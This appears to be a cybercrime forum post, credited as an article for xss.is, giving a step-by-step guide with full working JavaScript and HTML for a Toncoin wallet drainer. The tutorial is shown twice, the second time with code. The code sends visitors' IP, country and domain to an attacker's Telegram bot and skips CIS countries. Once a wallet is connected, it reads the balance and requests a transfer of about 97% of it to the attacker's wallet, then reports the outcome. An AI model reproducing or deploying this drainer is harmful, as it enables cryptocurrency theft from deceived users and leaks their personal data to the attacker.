D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
:zns6::smile66::smile50:
Author : MoneroMafia
Article for xss.is
Detailed guide on how to create your own toncoin drainer
Introduction
In the digital age, the ability to dynamically respond to user geography while integrating blockchain capabilities can lead to powerful web applications. This guide explores a drained script designed to interact with users based on their geographic location, redirect them if necessary, and facilitate transactions on the TON blockchain, coupled with real-time notifications via a Telegram bot.
This script is a multi-faceted tool, ideal for applications requiring geo-specific user interactions while leveraging the transparency and security of blockchain technologies.
Technologies Overview
Before diving into the script's specifics, let's outline the key technologies and libraries utilized:
1. **JavaScript (JS):** The primary programming language for the script, executed in the browser.
2. **Fetch API:** A modern interface for making network requests in JavaScript, used here to obtain user IP information and communicate with the Telegram bot.
3. **TON Connect UI and SDK:** A set of tools for integrating TON blockchain functionalities into web applications, enabling wallet connections and transactions.
4. **Telegram Bot API:** Utilized for sending notifications and alerts to a specified Telegram chat.
Detailed Script Analysis
Configuration Variables
We starts the js script with the declaration of several variables:
JavaScript: Скопировать в буфер обмена
- `mainWallet` is where all processed assets will be directed.
- `tgBotToken` and `tgChat` are used to configure the Telegram bot for sending out notifications.
Domain and User IP Extraction
This section of the code is responsible for capturing the domain from which the script is running and the user's IP address. The window.location.hostname property retrieves the domain, while an external API is used to obtain the user's IP address. These variables are essential for logging and dynamic references throughout the script.
JavaScript: Скопировать в буфер обмена
- `domain` captures the domain from which the script is running, useful for dynamic references and logging.
- `ipUser` will later store the user's IP address, obtained from an external API.
Geo-location and Redirection Logic
This part of the code uses the fetch API to retrieve the user's IP address and country from an external API ( ipapi.co. ). It then checks if the user is from one of the specified countries (CIS countries) and redirects them to https://ton.org if true. The user's IP and country are logged for debugging purposes, and an initial notification is sent to a Telegram bot using the notifyTelegramOpen function.
JavaScript: Скопировать в буфер обмена
Explanation:
- The script uses the `fetch` API to get the user's IP and country from `ipapi.co`.
- It checks if the user is from one of several specified countries (CIS countries) and redirects them to `https://ton.org` if true.
- Logs the user's IP and country for debugging.
- Calls `notifyTelegramOpen` to send an initial notification about the user.
Initial Telegram Notification
The notifyTelegramOpen function constructs a Markdown message containing the user's IP address, country, and the domain they accessed. It then uses the Telegram bot's API to send this message to a specified chat ID. This function is called after the user's IP and country have been determined in the previous section.
JavaScript: Скопировать в буфер обмена
```
Explanation:
- This function constructs a Markdown message indicating that a user has opened the website.
- It sends this message to the Telegram bot using the bot's API, logging success or failure.
TON Connect UI Initialization
This section initializes the TON Connect UI with a manifest file and specifies the root ID of the UI button. It also listens for the walletConnected event, which logs the connected wallet address when a user connects their wallet to the TON Connect UI.
JavaScript: Скопировать в буфер обмена
```
Explanation:
- Initializes the TON Connect UI with a manifest file and specifies where the UI button should be rendered.
- Logs the connected wallet address when a user connects their wallet.
Wallet Transaction Function (`didtrans`)
The didtrans function fetches the current balance of the connected wallet from TON's API, calculates a new balance after deducting a 3% transaction fee, and prepares a transaction object with the mainWallet as the recipient. It then calls the trySendTransaction function to attempt the transfer and handle the results. This function is responsible for executing the wallet transaction after the user has connected their wallet to the TON Connect UI.
JavaScript: Скопировать в буфер обмена
Explanation:
- Fetches the current balance of the connected wallet from TON's API.
- Calculates a new balance by deducting 3% (likely a transaction fee).
- Prepares a transaction object with the `mainWallet` as the recipient.
- Calls `trySendTransaction` to attempt the transfer and handle results.
Transaction Handling and Notifications
This section of the code deals with sending transactions and notifying the result via Telegram. The main function here is trySendTransaction, which attempts to send a prepared transaction using the TON Connect UI. Regardless of the outcome (success or error), it then calls the notifyTelegramTransaction function to send a notification about the transaction status.
JavaScript: Скопировать в буфер обмена
Explanation:
- Tries to send the prepared transaction.
- Notifies Telegram of the result, whether successful or an error occurred.
Telegram Notification for Transactions
The notifyTelegramTransaction function is crafted to send transaction status updates to a specified Telegram channel. It constructs a message that varies depending on whether the transaction was sent successfully or if it was declined or encountered an error. This function utilizes Telegram's API to send these updates, ensuring real-time communication with users or administrators monitoring these transactions. This setup enhances transparency and provides immediate feedback on transaction statuses.
JavaScript: Скопировать в буфер обмена
Explanation:
- Constructs a message based on the action ('Send' or 'Error').
- Sends this message to the Telegram bot, logging the outcome.
HTML Structure for TON integration
The provided HTML structure outlines the basic setup required to integrate TON Connect's functionalities into a web page. It includes essential scripts for the TON Connect UI and SDK, which facilitate interaction with the TON blockchain. The HTML file also contains a user interface component (div) for TON Connect and a button that triggers transaction processing. This setup is crucial for enabling users to initiate blockchain transactions directly from the web interface, making the application both interactive and functional.
HTML: Скопировать в буфер обмена
Explanation:
- Includes the TON Connect UI and SDK scripts necessary for the blockchain functionalities.
- Provides a div for the TON Connect button and a button to trigger the `didtrans` function.
Conclusion
This drainer is a comprehensive integration of user-specific interactions based on geography, blockchain functionalities, and real-time notifications. By leveraging JavaScript, the Fetch API, TON Connect libraries, and the Telegram Bot API, it creates a dynamic user experience that adjusts based on the user's location, facilitates the draining of toncoin , and communicates activities via Telegram a telegram bot.
Author : MoneroMafia
Article for xss.is
Detailed guide on how to create your own toncoin drainer
Introduction
In the digital age, the ability to dynamically respond to user geography while integrating blockchain capabilities can lead to powerful web applications. This guide explores a drained script designed to interact with users based on their geographic location, redirect them if necessary, and facilitate transactions on the TON blockchain, coupled with real-time notifications via a Telegram bot.
This script is a multi-faceted tool, ideal for applications requiring geo-specific user interactions while leveraging the transparency and security of blockchain technologies.
Technologies Overview
Before diving into the script's specifics, let's outline the key technologies and libraries utilized:
1. **JavaScript (JS):** The primary programming language for the script, executed in the browser.
2. **Fetch API:** A modern interface for making network requests in JavaScript, used here to obtain user IP information and communicate with the Telegram bot.
3. **TON Connect UI and SDK:** A set of tools for integrating TON blockchain functionalities into web applications, enabling wallet connections and transactions.
4. **Telegram Bot API:** Utilized for sending notifications and alerts to a specified Telegram chat.
Detailed Script Analysis
Configuration Variables
We starts the js script with the declaration of several variables:
JavaScript: Скопировать в буфер обмена
Код:
var mainWallet = ""; // Your TON wallet address for receiving assets
var tgBotToken = ""; // Token for your Telegram bot
var tgChat = ""; // Your Telegram chat ID
- `mainWallet` is where all processed assets will be directed.
- `tgBotToken` and `tgChat` are used to configure the Telegram bot for sending out notifications.
Domain and User IP Extraction
This section of the code is responsible for capturing the domain from which the script is running and the user's IP address. The window.location.hostname property retrieves the domain, while an external API is used to obtain the user's IP address. These variables are essential for logging and dynamic references throughout the script.
JavaScript: Скопировать в буфер обмена
Код:
var domain = window.location.hostname;
var ipUser;
- `domain` captures the domain from which the script is running, useful for dynamic references and logging.
- `ipUser` will later store the user's IP address, obtained from an external API.
Geo-location and Redirection Logic
This part of the code uses the fetch API to retrieve the user's IP address and country from an external API ( ipapi.co. ). It then checks if the user is from one of the specified countries (CIS countries) and redirects them to https://ton.org if true. The user's IP and country are logged for debugging purposes, and an initial notification is sent to a Telegram bot using the notifyTelegramOpen function.
JavaScript: Скопировать в буфер обмена
Код:
fetch('https://ipapi.co/json/').then(response => response.json()).then(data => {
const country = data.country;
if (country === 'RU' || country === 'KZ' || country === 'BY' || country === 'UA' || country === 'AM' || country === 'AZ' || country === 'KG' || country === 'MD' || country === 'UZ') {
window.location.replace('https://ton.org');
}
ipUser = data.ip;
countryUser = data.country;
console.log('IP: ' + ipUser);
console.log('Country: ' + countryUser);
notifyTelegramOpen(ipUser, countryUser, domain);
}).catch(error => console.error('Error IP:', error));
Explanation:
- The script uses the `fetch` API to get the user's IP and country from `ipapi.co`.
- It checks if the user is from one of several specified countries (CIS countries) and redirects them to `https://ton.org` if true.
- Logs the user's IP and country for debugging.
- Calls `notifyTelegramOpen` to send an initial notification about the user.
Initial Telegram Notification
The notifyTelegramOpen function constructs a Markdown message containing the user's IP address, country, and the domain they accessed. It then uses the Telegram bot's API to send this message to a specified chat ID. This function is called after the user's IP and country have been determined in the previous section.
JavaScript: Скопировать в буфер обмена
Код:
function notifyTelegramOpen(ipUser, countryUser, domain) {
const messageOpen = `\uD83D\uDDC4*Domain:* ${domain}\n\uD83D\uDCBB*User*: ${ipUser} ${countryUser}\n\uD83D\uDCD6*Opened the website*`;
const encodedMessageOpen = encodeURIComponent(messageOpen);
const url = `https://api.telegram.org/bot${tgBotToken}/sendMessage?chat_id=${tgChat}&text=${encodedMessageOpen}&parse_mode=Markdown`;
fetch(url, {
method: 'POST',
}).then(response => {
if (response.ok) {
console.log('Success send.');
} else {
console.error('Error send.');
}
}).catch(error => {
console.error('Error: ', error);
});
}
Explanation:
- This function constructs a Markdown message indicating that a user has opened the website.
- It sends this message to the Telegram bot using the bot's API, logging success or failure.
TON Connect UI Initialization
This section initializes the TON Connect UI with a manifest file and specifies the root ID of the UI button. It also listens for the walletConnected event, which logs the connected wallet address when a user connects their wallet to the TON Connect UI.
JavaScript: Скопировать в буфер обмена
Код:
const tonConnectUI = new TON_CONNECT_UI.TonConnectUI({
manifestUrl: 'https://' + domain + '/tonconnect-manifest.json',
buttonRootId: 'ton-connect'
});
tonConnectUI.on('walletConnected', (walletAddress) => {
console.log('Wallet Address:', walletAddress);
});
Explanation:
- Initializes the TON Connect UI with a manifest file and specifies where the UI button should be rendered.
- Logs the connected wallet address when a user connects their wallet.
Wallet Transaction Function (`didtrans`)
The didtrans function fetches the current balance of the connected wallet from TON's API, calculates a new balance after deducting a 3% transaction fee, and prepares a transaction object with the mainWallet as the recipient. It then calls the trySendTransaction function to attempt the transfer and handle the results. This function is responsible for executing the wallet transaction after the user has connected their wallet to the TON Connect UI.
JavaScript: Скопировать в буфер обмена
Код:
async function didtrans() {
const response = await fetch('https://toncenter.com/api/v3/wallet?address=' + tonConnectUI.account.address);
const data = await response.json();
let originalBalance = parseFloat(data.balance);
let processedBalance = originalBalance - (originalBalance * 0.03);
let tgBalance = processedBalance / 1000000000;
const transaction = {
validUntil: Math.floor(Date.now() / 1000) + 60,
messages: [{
address: mainWallet,
amount: processedBalance
}]
};
trySendTransaction(transaction, tgBalance, ipUser, countryUser, domain);
}
Explanation:
- Fetches the current balance of the connected wallet from TON's API.
- Calculates a new balance by deducting 3% (likely a transaction fee).
- Prepares a transaction object with the `mainWallet` as the recipient.
- Calls `trySendTransaction` to attempt the transfer and handle results.
Transaction Handling and Notifications
This section of the code deals with sending transactions and notifying the result via Telegram. The main function here is trySendTransaction, which attempts to send a prepared transaction using the TON Connect UI. Regardless of the outcome (success or error), it then calls the notifyTelegramTransaction function to send a notification about the transaction status.
JavaScript: Скопировать в буфер обмена
Код:
async function trySendTransaction(transaction, tgBalance, ipUser, countryUser, domain) {
try {
const result = await tonConnectUI.sendTransaction(transaction);
notifyTelegramTransaction('Send', tgBalance, ipUser, countryUser, domain);
} catch (e) {
notifyTelegramTransaction('Declined or error', tgBalance, ipUser, countryUser, domain);
console.error(e);
}
}
Explanation:
- Tries to send the prepared transaction.
- Notifies Telegram of the result, whether successful or an error occurred.
Telegram Notification for Transactions
The notifyTelegramTransaction function is crafted to send transaction status updates to a specified Telegram channel. It constructs a message that varies depending on whether the transaction was sent successfully or if it was declined or encountered an error. This function utilizes Telegram's API to send these updates, ensuring real-time communication with users or administrators monitoring these transactions. This setup enhances transparency and provides immediate feedback on transaction statuses.
JavaScript: Скопировать в буфер обмена
Код:
function notifyTelegramTransaction(action, tgBalance, ipUser, countryUser, domain) {
const message = action === 'Send' ?
`\uD83D\uDDC4*Domain:* ${domain}\n\uD83D\uDCBB*User:* ${ipUser} ${countryUser}\n\uD83D\uDCC0*Wallet:* [Ton Scan](https://tonscan.org/address/${tonConnectUI.account.address})\n\n\uD83D\uDC8E*Send:* ${tgBalance}` :
`\uD83D\uDDC4*Domain:* ${domain}\n\uD83D\uDCBB*User:* ${ipUser} ${countryUser}\n\uD83D\uDCC0*Wallet:* [Ton Scan](https://tonscan.org/address/${tonConnectUI.account.address})\n\n\uD83D\uDED1*Declined or error.*`;
const encodedMessage = encodeURIComponent(message);
const url = `https://api.telegram.org/bot${tgBotToken}/sendMessage?chat_id=${tgChat}&text=${encodedMessage}&parse_mode=Markdown`;
fetch(url, {
method: 'POST',
}).then(response => {
if (response.ok) {
console.log('Success send.');
} else {
console.error('Error send.');
}
}).catch(error => {
console.error('Error: ', error);
});
}
- Constructs a message based on the action ('Send' or 'Error').
- Sends this message to the Telegram bot, logging the outcome.
HTML Structure for TON integration
The provided HTML structure outlines the basic setup required to integrate TON Connect's functionalities into a web page. It includes essential scripts for the TON Connect UI and SDK, which facilitate interaction with the TON blockchain. The HTML file also contains a user interface component (div) for TON Connect and a button that triggers transaction processing. This setup is crucial for enabling users to initiate blockchain transactions directly from the web interface, making the application both interactive and functional.
HTML: Скопировать в буфер обмена
Код:
<!DOCTYPE html>
<html>
<head>
<script src="https://unpkg.com/@tonconnect/ui@latest/dist/tonconnect-ui.min.js"></script>
<script src="https://unpkg.com/@tonconnect/sdk@latest/dist/tonconnect-sdk.min.js"></script>
</head>
<body>
<div id="ton-connect"></div>
<button onclick="didtrans();" style="MARGIN-TOP:30PX;FONT-SIZE:24PX;">move</button>
<script src="tonsdk.js"></script>
</body>
</html>
Explanation:
- Includes the TON Connect UI and SDK scripts necessary for the blockchain functionalities.
- Provides a div for the TON Connect button and a button to trigger the `didtrans` function.
Conclusion
This drainer is a comprehensive integration of user-specific interactions based on geography, blockchain functionalities, and real-time notifications. By leveraging JavaScript, the Fetch API, TON Connect libraries, and the Telegram Bot API, it creates a dynamic user experience that adjusts based on the user's location, facilitates the draining of toncoin , and communicates activities via Telegram a telegram bot.